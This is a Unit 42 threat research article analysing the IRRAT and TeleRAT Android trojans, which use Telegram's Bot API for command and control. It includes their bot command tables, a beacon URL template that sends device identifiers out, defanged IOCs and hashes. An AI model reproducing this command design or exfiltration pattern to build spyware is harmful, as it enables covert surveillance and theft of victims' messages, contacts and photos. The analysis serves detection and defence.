[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/) Menu * [Tools](https://unit42.paloaltonetworks.com/tools/) * [ATOMs](https://unit42.paloaltonetworks.com/atoms/) * [Security Consulting](https://www.paloaltonetworks.com/unit42) * [About Us](https://unit42.paloaltonetworks.com/about-unit-42/) * [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html) English * [English](https://unit42.paloaltonetworks.com/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/) * [Japanese](https://unit42.paloaltonetworks.com/ja/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/) * [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research") * [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware") [Malware](https://unit42.paloaltonetworks.com/category/malware/) # TeleRAT: Another Android Trojan Leveraging Telegram's Bot API to Target Iranian Users ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 9 min read Related Products [![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire")[![Cortex XDR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XDR](https://unit42.paloaltonetworks.com/product-category/cortex-xdr/ "Cortex XDR") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Ruchna Nigam](https://unit42.paloaltonetworks.com/author/ruchna-nigam/) * [Kyle Wilhoit](https://unit42.paloaltonetworks.com/author/kyle-wilhoit/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:March 20, 2018 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Android](https://unit42.paloaltonetworks.com/tag/android/) * [Iran](https://unit42.paloaltonetworks.com/tag/iran/) * [IRRAT](https://unit42.paloaltonetworks.com/tag/irrat/) * [Telegram's Bot API](https://unit42.paloaltonetworks.com/tag/telegrams-bot-api/) * [TeleRAT](https://unit42.paloaltonetworks.com/tag/telerat/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/?pdf=download&lg=en&_wpnonce=af535c9c4e "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/?pdf=print&lg=en&_wpnonce=af535c9c4e "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=TeleRAT:%20Another%20Android%20Trojan%20Leveraging%20Telegram’s%20Bot%20API%20to%20Target%20Iranian%20Users&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users%2F&title=TeleRAT:%20Another%20Android%20Trojan%20Leveraging%20Telegram’s%20Bot%20API%20to%20Target%20Iranian%20Users "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users%2F&text=TeleRAT:%20Another%20Android%20Trojan%20Leveraging%20Telegram’s%20Bot%20API%20to%20Target%20Iranian%20Users "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=TeleRAT:%20Another%20Android%20Trojan%20Leveraging%20Telegram’s%20Bot%20API%20to%20Target%20Iranian%20Users%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users%2F "Share in Mastodon") Summary Telegram Bots are special accounts that do not require an additional phone number to setup and are generally used to enrich Telegram chats with content from external services or to get customized notifications and news. And while Android malware abusing [Telegram's Bot API](https://core.telegram.org/bots/api) to target Iranian users is not fresh news (the emergence of a Trojan using this method called IRRAT was discussed in[June](https://news.drweb.com/show/?i=11331&lng=en) and [July](https://blog.avast.com/spyware-targets-iranian-android-users-by-abusing-messaging-app-telegram-bot-api) 2017), we set out to investigate how these Telegram Bots were being abused to command and control malicious Android applications. This blog details our findings navigating through some Operational Security (OPSEC) fails while sifting through multiple malicious APK variants abusing Telegram's Bot API; including the discovery of a new Trojan we've named "TeleRAT". TeleRAT not only abuses Telegram's Bot API for Command and Control (C2), it also abuses it for data exfiltration, unlike IRRAT. What We Already Know- IRRAT Based on previous reports, we know Telegram's Bot API was already being employed by attackers to steal information ranging from SMS and call history to file listings from infected Android devices. The majority of the apps we saw disguise themselves as an app that tells you how many views your Telegram profile received -- needless to say, the information provided is inaccurate as Telegram doesn't allow for populating any such information. We continue to see IRRAT active in the wild to this date. We used the below sample for this analysis. |------------|------------------------------------------------------------------| | **SHA256** | 1d0770ac48f8661a5d1595538c60710f886c254205b8cf517e118c94b256137d | TeleRAT works by creating and then populating the following files on the phone's SD Card and sending them to the upload server, after the app's first launch: * "\[IMEI\] numbers.txt": Contact information * "\[IMEI\]acc.txt": List of Google accounts registered on the phone * "\[IMEI\]sms.txt": SMS history * 1\.jpg: Picture taken with the front-facing camera * Image.jpg: Picture taken with back-facing camera Finally, it reports back to a Telegram bot (identified by a bot ID hardcoded in each RAT's source code) with the below beacon, and the application icon is then hidden from the phone's app menu: hxxp://api.telegram.org/bot\[APIKey\]/sendmessage?chat\_id=\[ChatID\]?text=نصب جدید\\n \[IMEI\] \\nIMEI : :\[IMEI\]\\nAndroid ID : \[AndroidID\]\\nModel : \[PhoneModel\]\\n\[IP\] \\n\\nIMEI دستگاه: \[IMEI\] In the background, the app continues to beacon to the Telegram bot at regular intervals and listens for certain commands, as detailed below. |-----------------------------------------|-------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------| | **Command** | **Action** | **Communication to Telegram bot** | | call@\[IMEI\]@\[Number\] | Places a call to \[Number\] | hxxps://api.telegram.org/bot\[APIKey\]/sendmessage?chat\_id=\[ChatID\]\&text=call with *\[Number\]* | | sms@\[IMEI\]@\[Number\]@\[Text\] | SMS \[Text\] to \[Number\] | hxxps://api.telegram.org/bot\[APIKey\] /sendmessage?chat\_id=\[ChatID\]\&text=sent | | getapps@\[IMEI\] | Saves a list of installed apps to SD Card to file named "\[IMEI\] apps.txt", uploads to upload server | None | | getfiles@\[IMEI\]@\[DirPath\] | Retrieves file listing from \[DirPath\], saves to SD Card as "\[IMEI\]files.txt", uploads to server | None | | getloc@\[IMEI\] | Starts a GPS listener that monitors location changes | None | | upload@\[IMEI\]@\[FilePath\] | Uploads file at \[FilePath\] | None | | removeA@\[IMEI\]@\[FilePath on SDCard\] | Deletes file at \[FilePath on SDCard\] | https://api.telegram.org/bot\[APIKey\]/sendmessage?chat\_id=\[ChatID\]\&text= \_\_\_\_\_\_\_\_\_\_\_\_\_\_\[FilePath on SDCard\] | | removeB@\[IMEI\]@\[DirPath on SDCard\] | Deletes \[DirPath on SDCard\] | None | | lstmsg@\[IMEI\] | Saves SMS history to SD Card as "\[IMEI\]lstmsg.txt", uploads to server | None | | yehoo@\[IMEI\] | Takes a picture with Front Camera, saves to SD Card as "yahoo.jpg", uploads to server | None | *Table* *1* *: List of IRRAT bot commands* As the table above shows, this IRRAT sample makes use of Telegram's bot API solely to communicate commands to infected devices. The stolen data is uploaded to third party servers, several of which employ a webhosting service. Fortunately for us, these servers had several OPSEC fails. More on that further below. A New Family- TeleRAT While sifting through IRRAT samples, using AutoFocus, we came across another family of Android RATs seemingly originating from and/or targeting individuals in Iran that not only makes use of the Telegram API for C2 but also for exfiltrating stolen information. [![Telerat\_1](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_1.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_1.png) *Figure* *1* *: pivoting in autofocus for applications using the Telegram bot API* We named this new family "TeleRAT" after one of the files it creates on infected devices. We used the below sample for this analysis. |------------|------------------------------------------------------------------| | **SHA256** | 01fef43c059d6b37be7faf47a08eccbf76cf7f050a7340ac2cae11942f27eb1d | Post-installation TeleRAT creates two files in the app's internal directory: * telerat2.txt containing a slew of information about the device - including the System Bootloader version number, total and available Internal and External memory size, and number of cores. * thisapk\_slm.txt mentioning a Telegram channel and a list of commands. We investigate this Telegram channel is greater detail further below. The RAT announces its successful installation to the attackers by sending a message to a Telegram bot via the Telegram Bot API with the current date and time. More interestingly, it starts a service that listens for changes made to the Clipboard in the background. [![Telerat\_2](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_2.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_2.png) *Figure* *2* *: Code snippet that listens for clipboard changes* Finally, the app fetches updates from the Telegram bot API every 4.6 second, listening for the following commands (we used Google Translate for the below Farsi (Persian) translations): |-------------------------------------|--------------------------------------------------------------------------------| | **Command** | **Translation** | | دریافت مخاطبین | Get contacts | | دریافت کلیپ بورد | Get the clipboard | | Clipboard set:\[text\] | | | دریافت مکان | Get location | | دریافت اطلاعات شارژ | Receive charging information | | All file list:/\[path\] | | | Root file list:/\[path\] | | | دریافت برنامه ها | Get apps | | 1Downloadfile/\[filename\] | | | 2Downloadfile/\[filename\] | | | CreateContact/\[name\]/\[number\] | | | SetWallpaper http\[URL\] | | | دریافت پیام ها | Receive (SMS) messages | | Sendsmsfor/\[destination\]/\[text\] | | | MessageShow\[text\] | | | گرفتن عکس**1** | Take photo 1 (front camera) | | گرفتن عکس**2** | Take photo 2 (back camera) | | دریافت وضعیت | Get status | | دریافت تماس ها | Receive calls | | DeleteDir\[dirname\] | | | سایلنت | Silent (set to Vibrate mode) | | صدادار | Loud (set to normal Ringer mode) | | بیصدا | Silent (set to Silent mode) | | Blacksc | Blacks out phone screen | | Blackscf | Clears black screen | | ضبط فیلم | Audio recording (saves recorded audio to AUDIO123/MUSIC/rec123.m4a on SD Card) | | توقف ضبط فیلم | Stop audio recording | | راهنمای دستورات | Instruction manual (Help Menu) | | **call to \[number\]** | | | **RESET** | (deletes thisapk\_slm.txt and sends a new registration message to Telegram bot) | | دریافت گالری | Get gallery (sends files from the /Dcim folder on the SD Card to Telegram bot) | | **Delete app files or**دریافت گالری | | | **Vibrate \[x\]** | (Causes phone to vibrate for x seconds, with a maximum value of 600 secs) | | لرزش کم | Low vibration (for a duration of 150 secs) | | لرزش متوسط | Medium vibration (350 secs) | | لرزش زیاد | Shake too much (600 secs) | *Table* *2* *: List of TeleRAT bot commands* Aside from additional commands, this new family's main differentiator to IRRAT is that it also uploads exfiltrated data using Telegram's [sendDocument](https://core.telegram.org/bots/api#senddocument) API method. [![Telerat\_3](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_3.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_3.png) *Figure* *3* *: Code snippet showing the use of the SendDocument Telegram bot API method* TeleRAT is an upgrade from IRRAT in that it eliminates the possibility of network-based detection that is based on traffic to known upload servers, as all communication (including uploads) is done via the Telegram bot API. However, it still leaves other doors open via Telegram's bot API, since the API Keys are hardcoded in the APKs. The API allows fetching updates by two means: 1\.The [getUpdates](https://core.telegram.org/bots/api#getupdates) method: Using this exposes a history of all the commands that were sent to the bot, including usernames from which the commands originated. From the bots that were still responding and had an update history (incoming updates are only kept for 24 hours as per Telegram's policy), we were able to find bot commands originating from four Telegram accounts, shown below. [![Telerat\_5](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_5.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_5.png) *Figure* *4* *: Telegram usernames revealed from bot command histories* 2. Using a [Webhook](https://core.telegram.org/bots/api#setwebhook): Telegram allows redirecting all bot updates to a URL specified by means of a Webhook. Their policy limits these Webhooks to HTTPS URLs only. While most of the Webhooks we found used certificates issued by Let's Encrypt with no specific registrar information, some of them led us back to the world of third party webhosting and open directories. Let's Encrypt has been notified about this activity. A sample of only a few Webhooks we found are shown below. hxxps://mr-mehran\[.\]tk/pot/Bot/ in particular appears to be hosting close to 6500 bots, however, we can't confirm whether they're all used for malicious purposes. [![Telerat\_6](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_6.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_6.png) *Figure 5: Webhooks found associated with some TeleRAT bots* OPSEC Fails, Distribution Channels \& Attribution In our research we were able find what was clearly an image of the botmaster testing out the RAT, based on the Telegram bot interface that can be seen on the monitor pictured in the lower half of Figure 6. ![Telerat\_7](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_7.png) *Figure* *6: Image of botmaster testing out the RAT* We were also able to find exfiltrated messages that confirmed our theory about the test run and reveals a thread in Persian Farsi seemingly discussing bot setup. "صبح ساعت ۶ انلاین شو تا روباته رو امتحان کنیم" Google Translation: "*Morning 6 hours online to try the robotage* " While investigating attribution for TeleRAT, we noticed the developers made no effort to hide their identities in the code. One username is seen in the screenshot below. ![Telerat\_7\_real](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_7_real.png) *Figure 7: Telegram channel advertised in source code* Looking further into the 'vahidmail67' Telegram channel, we found advertisements for applications and builders that ran the entire gamut - from applications that get you likes and followers on Instagram, to ransomware, and even the source code for an unnamed RAT (complete with a video tutorial, shown below). ![Telerat\_8](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_8.png) *Figure 8: Screenshot from a Telegram channel advertising \& sharing a RAT source code* Aside from the Telegram channel, while looking for references to certain TeleRAT components we stumbled upon [some](https://learn-net.ir/forums/topic/5901-استفاده-از-کتابخانه-tp_getupdate-در-سرویس/) [threads](https://learn-net.ir/forums/topic/5360-سورس-همگام-سازی-دیتابیس-آفلاین-با-پست-های-کانال-تلگرام/) on an Iranian programmers' forum advertising the [sale](https://learn-net.ir/store/product/9-کتابخانه-کنترل-ربات-تلگرام-برای-بیسیک-فور-اندروید/) of a Telegram bot control library. The forum is frequented by some of the developers whose code is heavily reused in a big portion of the TeleRAT samples we came across. [![Telerat\_9](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_9.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_9.png) *Figure 9: Advertisement for sale of a Telegram bot control library* The forum goes the extra mile to mention all content is in accordance with Iran's laws. However, it's hard to see any non-malicious use for some of the code advertised there or written by developers that frequent it -- for instance, a service that runs in the background listening for changes to the Clipboard (pictured in the code snippet in Figure 3 further above). ![Telerat\_10](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_10.png) *Figure 10: Forum Disclaimer* Overall, TeleRAT pieces together code written by several developers, however, due to freely available source code via Telegram channels and being sold on forums, we can't point to one single actor commanding either IRRAT or TeleRAT and it appears to be the work of several actors possibly operating inside of Iran. Victimology As we investigated these RATs, we also started looking at how victims were getting infected. Further investigating, we witnessed several third-party Android application stores distributing seemingly legitimate applications like "Telegram Finder", which supposedly helps users locate and communicate with other uses with specific interests, like knitting. Also, we've witnessed several samples distributed and shared via both legitimate and nefarious Iranian Telegram channels. ![Telerat\_11](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_11.png) *Figure 11: leIranian third-party application store* Looking closer at the malicious APKs we were able to get an understanding of common application naming conventions and functionality across the board. ![Telerat\_12](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/03/Telerat_12.png) *Figure 12: 'Telegram finder' application* Based on the samples we analysed, the three most common application names for both IRRATand TeleRAT are: |------------------------------------|-------------------------| | **Native App Name** | **Translated App Name** | | **پروفا** **یل** **چکر** | Profile Cheer | | **بازد** **ید** **یاب** **تلگرام** | Telegram Finder | | telegram hacker | N/A | Additionally, there were several malicious APKs disguised as fake VPN software and/or configuration files, such as "atom vpn" and "vpn for telegram. There appears to be a total identified victim count of 2,293 at the time of writing, based on the infrastructure we analysed. There appears to be a rather small range of geographically dispersed victims, with 82% of having Iranian phone numbers. |----------------|------| | Iran | 1894 | | Pakistan | 10 | | India | 227 | | Afghanistan | 109 | | United Kingdom | 53 | There may also be additional infrastructure or variants we were unaware of at the time of writing. That said, the number of victims likely residing within Iran far exceeds the victim count for any other country. Conclusion Part of dissecting and understanding new threats involve looking closer at already established campaigns and malware variants. This is a perfect example of just that; looking closer at a previously established malware family to better understand it's current and possibly changed capabilities. While malware leveraging the Telegram bot API is not necessarily new, we were able to identify a new family, TeleRAT, hiding entirely behind Telegram's API to evade network-based detection and exfiltrate data. Leveraging intelligence from AutoFocus, accessible attacker infrastructure, and other open source intelligence we were able to paint an accurate picture of an ongoing operation leveraging Telegram's API and targeting users via third party application sites and social media channels. Taking some basic precautions can help users protect themselves from malicious applications like TeleRAT, such as: * Avoid third-party application stores or sources. * Don't allow application sideloading on your device. * Ensure the application you are installing is official, regardless of source. * Closely review and scrutinize application permission requests prior to installation. Palo Alto Networks customers are protected from this threat by: 1. WildFire detects all TeleRAT and IRRAT files with malicious verdicts. 2. AutoFocus customers can track these samples with the [IRRAT](https://autofocus.paloaltonetworks.com/#/tag/Unit42.IRRAT) and [TeleRAT](https://autofocus.paloaltonetworks.com/#/tag/Unit42.TeleRAT) 3. Traps blocks all of the APK files associated with TeleRAT and IRRAT. APPENDIX |-----------------------------------------------------------| | #### Telegram usernames found commanding IRRAT or TeleRAT | | Ahmad\_ghob | | My\_LiFe\_M\_a\_H\_s\_A | | mmm1230a | |---------------------------------------------------------------------------------------| | #### Webooks | | hxxps://mr-mehran.tk/pot/Bot/robotcreat2\_bot/Bot/Ejsahahbot/ | | hxxps://ib3.ibot24.com/394083/ | | hxxps://rr5.000webhostapp.com/upload\_file.php | | hxxps://gold.teleagent.ir/bnrdehisaz/index.php | | hxxps://shahin-soori.ir/bots/rat/upload\_file.php | | hxxps://mbosoba.000webhostapp.com/upload\_file.php | | hxxps://abolking.000webhostapp.com/upload\_file.php | | hxxps://botmohsan-apk.000webhostapp.com/Bot/bot.php | | hxxps://androydiha.ir/bot/Bot/hackelmi\_bot/index.php | | hxxps://hamidhamid954321.000webhostapp.com/Bot/bot.php | | hxxps://mohsan024024.000webhostapp.com/upload\_file.php | | hxxps://09152104574nazimilad.000webhostapp.com/ربات ساز/CreateBotAll.php | | hxxps://darkforceteam.000webhostapp.com/SmartAccounts\_Bot/bots/Ratjadidebot/index.php | Back to top ### Tags * [Android](https://unit42.paloaltonetworks.com/tag/android/ "Android") * [Iran](https://unit42.paloaltonetworks.com/tag/iran/ "Iran") * [IRRAT](https://unit42.paloaltonetworks.com/tag/irrat/ "IRRAT") * [Telegram's Bot API](https://unit42.paloaltonetworks.com/tag/telegrams-bot-api/ "Telegram’s Bot API") * [TeleRAT](https://unit42.paloaltonetworks.com/tag/telerat/ "TeleRAT") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Sofacy Uses DealersChoice to Target European Government Agency](https://unit42.paloaltonetworks.com/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ "Sofacy Uses DealersChoice to Target European Government Agency") ### Related Articles * [Tracking Iranian APT Screening Serpens' 2026 Espionage Campaigns](https://unit42.paloaltonetworks.com/tracking-iran-apt-screening-serpens/ "article - table of contents") * [Threat Brief: Escalation of Cyber Risk Related to Iran (Updated April 17)](https://unit42.paloaltonetworks.com/iranian-cyberattacks-2026/ "article - table of contents") * [LANDFALL: New Commercial-Grade Android Spyware in Exploit Chain Targeting Samsung Devices](https://unit42.paloaltonetworks.com/landfall-is-new-commercial-grade-android-spyware/ "article - table of contents") ## Related Malware Resources ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/) * [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel") * [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2") * [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure") ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/) * [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI") * [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT") * [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America") ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/) * [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa") * [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID") * [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams") ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/) * [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor") * [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin") * [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution") ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right 